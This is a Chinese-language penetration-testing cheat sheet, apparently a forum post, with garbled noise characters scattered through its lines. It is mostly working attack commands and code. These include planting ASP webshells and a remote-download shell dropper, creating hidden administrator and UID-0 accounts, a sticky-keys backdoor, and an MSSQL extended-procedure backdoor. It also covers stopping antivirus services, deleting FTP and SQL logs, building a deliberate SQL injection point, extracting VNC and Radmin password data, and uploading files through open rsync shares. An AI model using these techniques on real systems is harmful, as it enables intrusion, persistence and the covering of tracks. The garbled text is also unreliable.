渗透技巧总结

admin

旁站路径问题
1、读网站配置。
% W6 f% f1 E( R8 W/ q# |' R2、用以下VBS
( V% O) i2 M8 q, o7 ^: O' BOn Error Resume Next
& b( @; ^2 ]2 \If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
  C7 Q8 Y* S/ g! k        
& K' }2 f" M! f
% C  A( v* s! S! r$ X1 S. z+ i3 [Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "

Usage:Cscript vWeb.vbs",4096,"Lilo"
% z0 z5 K7 W; ~3 P        WScript.Quit
7 x  Z) i/ a6 JEnd If
Set ObjService=GetObject
  c% c, j% q0 ]1 i
("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
% e( B' Q' f' O5 m4 Q" x        If IsNumeric(obj3w.Name)
# H/ Y  L* @* C0 Z
  T' ^! r5 E( S  `0 n2 T; gThen
* _! N9 V, t, j4 r2 a! m                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
         
8 o1 H- d4 O$ _" H  T
       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err
4 B& }% W( r  _5 M2 i( |
<> 0 Then WScript.Quit (1)
+ H  W9 x8 h; w- _                WScript.Echo Chr(10) & "[" &

OService.ServerComment & "]"
5 o, V& r% U, W+ U                For Each Binds In OService.ServerBindings
1 ^. a5 R% s8 l, K9 v  ?% I     

# }* ^/ n$ h! O- g5 b                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
                        
( x/ L1 W4 X6 l2 ^: B
WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
                Next
, x2 x& a% z$ v' M! v' _; |      
% U( S1 @4 r5 O8 C  j6 M
         WScript.Echo "ath            : " & VDirObj.Path
& B: N1 Q7 @% i7 ]5 ^        End If
Next
7 c. [6 l# K* Z/ P% j9 A/ Y+ ?复制代码
3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
" `0 \# S4 `4 V# j2 ]4 d4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
WordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
url/wp-content/plugins/akismet/hello.php
: f* l0 z4 q) x+ S! P——————————————————————
1 H1 `, ~; Y( M: J" x. m( Y: ephpMyAdmin暴路径办法:
phpMyAdmin/libraries/select_lang.lib.php
9 w  `' ~$ b- @$ q. T3 IphpMyAdmin/darkblue_orange/layout.inc.php
  d$ I+ d' [* k( m' ~phpMyAdmin/index.php?lang[]=1
phpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
* s& x; c$ |* `% Z网站可能目录(注：一般是虚拟主机类）
data/htdocs.网站/网站/
8 J! W% J) }! B7 X3 O; q9 |$ v: k————————————————————
CMD下操作VPN相关
netsh ras set user administrator permit #允许administrator拨入该VPN
& r- Q, H) b6 [, f- a  ^netsh ras set user administrator deny #禁止administrator拨入该VPN
7 T: @* i/ Z9 o+ knetsh ras show user #查看哪些用户可以拨入VPN
netsh ras ip show config #查看VPN分配IP的方式
7 s4 V! q3 \4 Cnetsh ras ip set addrassign method = pool #使用地址池的方式分配IP
/ [4 M# N$ U5 R  Gnetsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
, W$ k0 a. \$ A4 I2 J————————————————————
6 ^, s; [5 K! e; s命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
3 N; ~# q: o2 @; [7 ]" |% M7 F" jexec master.dbo.sp_addlogin test,123
EXEC sp_addsrvrolemember 'test, 'sysadmin'
1 J  I( j# r6 G2 a然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry
) d! u+ A. N" Y/ o
另类的加用户方法
在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
js:
9 `# z+ }9 |) rvar o=new ActiveXObject( "Shell.Users" );
; v/ {) H& N8 n2 M; y9 K- Vz=o.create("test") ;
! y5 m9 k- e2 i" Sz.changePassword("123456","")
/ S! s0 S( q' F. U) [/ qz.setting("AccountType")=3;

4 {# C0 T) i5 Avbs:
9 {! a, h# ?$ ^% k+ wSet   o=CreateObject( "Shell.Users" )
4 L4 b3 t: b/ c% m0 RSet z=o.create("test")
3 A+ O9 c& `* g6 _3 s0 ]. |* }! iz.changePassword "123456",""
# M# f7 ?" ?/ z- Nz.setting("AccountType")=3
——————————————————
+ v& N1 h5 }5 R$ X/ m% [cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）
1 z2 n: i( l" V  o
命令如下
cacls c: /e /t /g everyone:F           #c盘everyone权限
  O1 S& B' d) {: K) G7 Scacls "目录" /d everyone               #everyone不可读，包括admin
————————以下配合PR更好————
3389相关
a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
b、内网环境（LCX）
c、终端服务器超出了最大允许连接
XP 运行mstsc /admin
2003 运行mstsc /console   

杀软关闭（把杀软所在的文件的所有权限去掉）
; q9 X+ D. W1 s  s% w3 s处理变态诺顿企业版：
net stop "Symantec AntiVirus" /y
net stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
net stop "System Event Notification" /y
7 A. ?& [# T3 x& `- a& b5 Hnet stop "Symantec Settings Manager" /y
' D/ T3 j0 c9 S
卖咖啡：net stop "McAfee McShield"
————————————————————
% X- k  {. V' G) E5 N$ ^- {7 L0 \
5 L0 y* y6 _7 R. f/ |/ t6 [; \- G4 K$ T5次SHIFT：
copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
——————————————————————
隐藏账号添加：
# g4 ?# e$ y# ~* s1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
5 o& l& F9 R0 y) c2、导出注册表SAM下用户的两个键值
3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
" ^& Z9 b+ k3 j# w) s, Z- ^" g4、利用Hacker Defender把相关用户注册表隐藏
; \! Q# N! V& b3 {& E——————————————————————
0 d# I9 Q& V: d% V; U7 F! Q1 MMSSQL扩展后门：
USE master;
& ]; a4 v' _% [3 s7 g3 REXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
4 ~8 B& t+ P) S* w0 L4 ]———————————————————————
日志处理
C:\WINNT\system32\LogFiles\MSFTPSVC1>下有
+ a( f. E( R& ~; x5 w# w( [ex011120.log / ex011121.log / ex011124.log三个文件，
/ ~* b9 r- }; W* m" [/ \3 r7 ?$ c直接删除 ex0111124.log
不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
9 _! o8 m5 A2 d. |3 a5 J当停止msftpsvc服务后可直接删除ex011124.log

MSSQL查询分析器连接记录清除：
. Q! L( o$ ^+ a9 |8 JMSSQL 2000位于注册表如下：
6 l; `; T7 x7 z. zHKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
找到接接过的信息删除。
MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

( N7 j' U: c1 q; S/ bServer\90\Tools\Shell\mru.dat
—————————————————————————
8 E; t) Z: z9 l7 @+ k6 G防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
+ n) _: f- u+ J
# f, Q0 [/ U# O, G: L. T: L, H0 w<%
3 M, K% v7 D% }4 p* n4 _Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
/ \6 m, z' N2 h+ q4 ]' }3 CDim Ads, Retrieval, GetRemoteData
$ J. ]" K9 K' K" r/ [+ V* |On Error Resume Next
& B$ G+ W; K4 x8 F& r. J  c) ?2 W5 pSet Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
. ^- c" z& y, y) i2 QWith Retrieval
* t  d: t$ K; W6 R7 y4 q$ z. T/ ~.Open "Get", s_RemoteFileUrl, False, "", ""
5 X$ l3 y$ O6 ?- s, O.Send
GetRemoteData = .ResponseBody
End With
Set Retrieval = Nothing
Set Ads = Server.CreateObject("Adodb.Stream")
/ r3 w% _; e+ p  R+ X& i# O) K9 z5 TWith Ads
.Type = 1
1 o* V  L6 G8 u2 }) a.Open
; x* m" z( ~+ Z+ x; A% j4 d! R.Write GetRemoteData
+ c1 n8 d; E& g" g' t  o$ U: l.SaveToFile Server.MapPath(s_LocalFileName), 2
.Cancel()
, u# \% W1 V) @: `) K2 |.Close()
7 n6 U. e8 Q8 g" W& rEnd With
Set Ads=nothing
8 L/ k2 R. N8 [* q5 a" {6 ^End Sub
" A! X+ I$ E- m8 M
' Y! N. h, `5 O. W9 ?9 i" v+ KeWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
%>
& O3 U% g$ |) n; z$ d% v* @1 U  ]
VNC提权方法:
) v1 k& |8 c! i利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
3 w( c/ E) A- E1 p# T/ O( g注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
: n, y7 }' ~0 j- P( w  N2 s! eRadmin 默认端口是4899，
; e9 ?: X9 g1 t! g; w4 wHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
+ Z, m' k1 J4 @# _0 c/ R4 v4 g1 FHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
- h6 q& u, ]3 u然后用HASH版连接。
: n( A' h: g, p( w2 T如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
0 V& W  r. A5 A/ F# wUsers\Application Data\Symantec\pcAnywhere\文件夹下。
) `9 a2 J" Q5 ?% G. Y  t5 y——————————————————————
& A9 [8 F3 d3 s1 o- U搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
9 M  |( [  ]) [——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
9 C. G, U$ T/ [# Y来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
没有删cmd组建的直接加用户。
7i24的web目录也是可写，权限为administrator。
- c9 ~% \5 z. D/ L9 @- n, i: v
1433 SA点构建注入点。
) {% L- i, P# Z8 a/ x2 e<%
& g; i1 t, n' ^0 [+ |3 P# o, b8 h' KstrSQLServerName = "服务器ip"
, R' V4 a; X7 \8 O% K. z, d3 C9 C3 vstrSQLDBUserName = "数据库帐号"
! J) o4 T- Q$ K* w* Q9 lstrSQLDBPassword = "数据库密码"
strSQLDBName = "数据库名称"
Set conn = Server.createObject("ADODB.Connection")
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &

";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &

strSQLDBName & ";"
* G+ ~/ \' Q$ `conn.open strCon
dim rs,strSQL,id
set rs=server.createobject("ADODB.recordset")
id = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
6 F/ ?- Z% i* w6 |2 B- }8 ors.close
) U! s6 g4 f/ e% C# }5 ]2 \3 G9 w! m%>
复制代码
. D- L6 m+ ]. }: u******liunx 相关******
1 e( e9 y( H6 r( O% c; _. L! G一.ldap渗透技巧
1.cat /etc/nsswitch
4 w* V0 q3 {8 ?" e: q0 v, e* Q) K5 [看看密码登录策略我们可以看到使用了file ldap模式
* w8 v* L+ B8 I! B  V
2.less /etc/ldap.conf
9 K* j; `: {# w: ?base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置
( y! j+ K* X5 M
  C+ X; G1 Z" m$ a( g3 |$ Z3 M3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
& Z! f0 J# L' |$ n3 q& ]: x
: @% T7 k' N7 V4 |: e* q9 \"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
' Z8 a0 e, j1 @! ]! O有密码形式
8 K2 B7 n5 y* }ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

  a4 K' t; B' {" R+ Q3 v
2 X( N1 P7 l( K$ i) Q4.查找10条用户记录
  t6 t- C2 ?& o; U( Ildapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

. k. S. [: ~# i% [2 [1 v实战:
, _* `0 u8 J/ M1 |" I1.cat /etc/nsswitch
$ b& U4 h0 U$ a# D. C看看密码登录策略我们可以看到使用了file ldap模式
9 y# b2 J9 G' t: {* g- ~
2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
9 M( }3 q7 L5 U  r& u' ]$ J6 [找到ou,dc,dc设置

3.查找管理员信息
8 c! j; h! v2 z5 [1 ]匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
! z1 Z$ R7 U/ |+ e$ G/ R3 p5 _; v+ Y
, V) B9 A, [3 C0 C( w, @2 U7 q"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
+ c" }( w6 e' k* mldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

/ K3 ~$ Z: u2 \8 ~7 n"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

* t/ O3 Q# j0 y6 c9 |6 B
0 n& u/ |0 ]1 j4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
5 v" X6 W) g- f5 F$ V$ C
渗透实战:
1.返回所有的属性
ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
# w; ]& D4 f- k' x6 ]version: 1
5 U! h2 M; @/ i% B/ b1 ]: g6 L% z; j5 {dn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain
1 p/ D- K' G- N3 V" _
. _/ m: L0 R% }dn: uid=manager,dc=ruc,dc=edu,dc=cn
uid: manager
objectClass: inetOrgPerson
  f* Y$ F8 w' U$ h; z4 r& L1 mobjectClass: organizationalPerson
& X8 {; U! k, z$ r9 t. PobjectClass: person
objectClass: top
sn: manager
cn: manager
& Z% L% {0 v: r: B5 W
/ e; ~  h/ ]% ]* \dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
objectClass: inetOrgPerson
8 B4 q; w3 X3 ?( R, k* e3 k* X. |objectClass: organizationalPerson
objectClass: person
objectClass: top
9 B1 K: ]9 N6 V" a9 Xsn: superadmin
! z0 M: Y5 T4 S* n, n/ d) W. c% tcn: superadmin
/ H" z8 n* s$ D6 w: p" B# K
dn: uid=admin,dc=ruc,dc=edu,dc=cn
3 e$ D4 P9 ~7 ^/ h1 s, `uid: admin
! X- ?' y: N3 Y5 Y/ P7 P& X. l4 O0 @objectClass: inetOrgPerson
objectClass: organizationalPerson
& l) |; w, X0 u. U% m- JobjectClass: person
objectClass: top
sn: admin
0 D6 v- G7 N2 E9 Ncn: admin

* j( ~; k- v5 e5 {# gdn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
1 `- N+ r1 Y) Buid: dcp_anonymous
" [- S0 ^5 y* N( K5 xobjectClass: top
objectClass: person
objectClass: organizationalPerson
9 s, b9 U& x# J. |6 {% _objectClass: inetOrgPerson
sn: dcp_anonymous
cn: dcp_anonymous
/ W* D& K7 a, M; I. g$ _- v1 G
# o% y5 b; O8 ^& H% P2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |
0 d/ {+ L3 Q0 B  z5 p' E) a
" w  W0 |1 t4 x$ W5 C! Kmore
3 E* h: C; N9 |version: 1
dn: dc=ruc,dc=edu,dc=cn
3 @; C8 D8 s7 J+ p2 E/ sdc: ruc
5 y& ^: `  i1 u; gobjectClass: domain

8 C7 `1 y* q* V/ [. q3.查找
# K9 m9 `. X- J0 U3 M+ `$ sbash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
) h$ C% K3 {3 n! B( G% V: bdn:
objectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
supportedExtension: 2.16.840.1.113730.3.5.7
4 `9 Q/ f2 y$ f& ksupportedExtension: 2.16.840.1.113730.3.5.8
4 _1 c: t" O7 \' j. GsupportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
supportedExtension: 2.16.840.1.113730.3.5.3
& Q" o, s) c$ a7 EsupportedExtension: 2.16.840.1.113730.3.5.5
5 W5 U1 ^6 _7 D" z; msupportedExtension: 2.16.840.1.113730.3.5.6
supportedExtension: 2.16.840.1.113730.3.5.4
+ _* l& B- c$ P# T. i& zsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
7 w; H6 H) b+ o/ RsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
  m: _* \: s: f8 Y: s% bsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
7 i2 K! k5 P' _# N) TsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
9 t; N7 `& e9 u% Q+ wsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
+ m6 J+ L! d! L6 ~* S6 \1 qsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
# @5 y; B5 m! r1 O" z) dsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
  c7 f% G3 E: d# @0 isupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
( @$ P# q3 Z2 H$ }" H3 xsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
- l. N4 y$ _! `0 i; z  `+ LsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
. u7 u' u$ O/ W% J6 R3 lsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
" j! f" O' c( ^( U: M- U3 v& l& CsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
6 n6 H$ f0 e, vsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
* l6 k+ n! K' k6 {supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
+ i" R: q4 S7 d' CsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
) M* x0 K4 H) g# t8 [supportedExtension: 1.3.6.1.4.1.1466.20037
supportedExtension: 1.3.6.1.4.1.4203.1.11.3
supportedControl: 2.16.840.1.113730.3.4.2
) u4 f( ^. g0 F" TsupportedControl: 2.16.840.1.113730.3.4.3
supportedControl: 2.16.840.1.113730.3.4.4
( r1 M4 M" i: HsupportedControl: 2.16.840.1.113730.3.4.5
( Q2 m5 C. E7 ~  f, B6 G4 L( r6 bsupportedControl: 1.2.840.113556.1.4.473
$ h# Y% d- P8 v2 rsupportedControl: 2.16.840.1.113730.3.4.9
2 V$ n: C1 E7 U# B7 `' }2 E3 I4 GsupportedControl: 2.16.840.1.113730.3.4.16
& c) j. k1 ?% y" _/ v8 usupportedControl: 2.16.840.1.113730.3.4.15
supportedControl: 2.16.840.1.113730.3.4.17
supportedControl: 2.16.840.1.113730.3.4.19
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
" [$ a4 `) Q7 R% J' y; ^supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
4 X7 J9 u$ G) T2 e) _) I4 i# nsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
' }, h" ?4 A, YsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
supportedControl: 2.16.840.1.113730.3.4.12
% p' ]6 ]. c) ^+ s5 Z) nsupportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.13
supportedSASLMechanisms: EXTERNAL
+ M) O, p' l  ]0 nsupportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 2
supportedLDAPVersion: 3
vendorName: Sun Microsystems, Inc.
vendorVersion: Sun-Java(tm)-System-Directory/6.2
( ?* S5 [4 b" f( g" @& S4 _2 fdataversion: 020090516011411
" m5 e- x' u: K# z: G/ P! Ynetscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
" _) d3 o$ }/ A6 a1 H4 M8 i4 XsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
" Q3 I/ D6 i! PsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
) v4 e( K) h5 e( y+ r8 \' a, osupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
9 x. ]/ S8 E& s4 `2 p  a1 [- GsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
/ e! f6 D* L- u4 p' |, ^supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
; j  V- p7 ]9 i( J: x6 A6 J' esupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
- t" y' w6 h/ ^) {: `2 wsupportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
, o9 L9 ]7 @9 P% J! usupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
/ x; A, w* m9 i+ V2 t0 UsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
# ^5 e" ^, T( ^4 ZsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
! W$ z  Y, l! j% H3 Y' |+ i5 L* |' FsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
$ c' h! G# m/ Z8 U8 dsupportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
, Z0 i2 K# S. f& t* IsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
1 y8 J; P, |8 }8 EsupportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
* V/ V2 c9 |( ]3 XsupportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
: L# ~: K# d$ K' L! W( G/ [- bsupportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
* i1 F  M  s' r' m* A! isupportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
3 A4 b0 T: \5 h( P: `( IsupportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
9 @' z+ D" b0 d$ p5 u+ BsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
$ d3 _0 \- z( O% I1 u2 ]) U# G- FsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
) L) Y5 G9 E/ e6 j; FsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
1 E3 a0 c) j/ ^  _; f* tsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
0 |4 K0 ^: p/ d7 ]) @2 VsupportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
! v3 c4 Y7 {9 p3 {+ S* w6 fsupportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
" C% I* C) p: O. H* ~. L' f# |————————————
2. NFS渗透技巧
, [" I) z( c$ o2 yshowmount -e ip
列举IP
  ?  w* ?/ _7 J( E——————
3.rsync渗透技巧
- [% S/ a. a" _* t# C% m/ G9 S1.查看rsync服务器上的列表
! S1 G+ ~! a6 |! M) u8 v$ U3 Qrsync 210.51.X.X::
7 m$ l4 i" z8 A1 E% n4 n' V/ D2 \finance
img_finance
auto
img_auto
/ t; a1 E7 C, V& m3 `2 u) hhtml_cms
img_cms
ent_cms
ent_img
ceshi
; A$ I1 e" i5 l# ires_img
res_img_c2
2 _: s5 ^& L4 Gchip
chip_c2
4 O1 W7 t1 [  m9 Hent_icms
games
gamesimg
' V3 i' a6 x$ O8 G$ Kmedia
; [$ m2 x; \; J4 vmediaimg
5 w- o& \2 `( c! Y1 c: P, F. B; o$ cfashion
res-fashion
res-fo
! {2 c! o5 S9 u6 n* w' C, |taobao-home
1 ~5 f% ^# ?) b9 u, `4 t+ {res-taobao-home
6 w! g) U9 i9 ~0 W6 @( chouse
$ ]' k* k1 v# Bres-house
$ b5 A. s! r0 l# x: r. }/ gres-home
- p6 Z) i* y/ \6 j+ eres-edu
res-ent
, T1 P$ K0 |1 jres-labs
1 e7 l6 }5 Q1 H9 V! H; Ores-news
res-phtv
3 P4 s$ g! V0 x1 rres-media
- U4 L. ?. b  \' K9 [home
; T* f# b5 N" Z" }/ tedu
) ^& a; A7 g" B% Fnews
res-book

看相应的下级目录(注意一定要在目录后面添加上/)
( B5 ?) X6 W# Q9 l# F3 K: q
/ w6 q/ O' w& q: C6 ], @
" [( P8 x/ x1 U7 @1 m9 arsync 210.51.X.X::htdocs_app/
rsync 210.51.X.X::auto/
0 b3 M+ e# z/ @9 K6 Yrsync 210.51.X.X::edu/

2.下载rsync服务器上的配置文件
  k0 x* I, P4 j# w) Crsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

! Z( M% P: f; E' p3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
- ]2 j7 ]: W" N/ N. }/ q" q2 rhttp://app.finance.xxx.com/warn/nothack.txt

四.squid渗透技巧
! R* d& F1 F$ _; Y& Anc -vv baidu.com 80
, o; Y% w4 ]+ s) u* kGET HTTP://www.sina.com / HTTP/1.0
GET HTTP://WWW.sina.com:22 / HTTP/1.0
$ ~& L2 P$ @2 @4 m. T' W# R五.SSH端口转发
ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip

六.joomla渗透小技巧
确定版本
index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-
" N: b. z8 e+ O  K" {$ `
15&catid=32:languages&Itemid=47
8 a( A4 {1 z% D1 ]
* Y2 G) I3 v: ^- P$ Y重新设置密码
index.php?option=com_user&view=reset&layout=confirm

七: Linux添加UID为0的root用户
6 F2 s6 N0 Y) D. X4 f" Buseradd -o -u 0 nothack
; b/ o5 U$ Z- [6 B2 C( N# b- Q6 H' L
八.freebsd本地提权
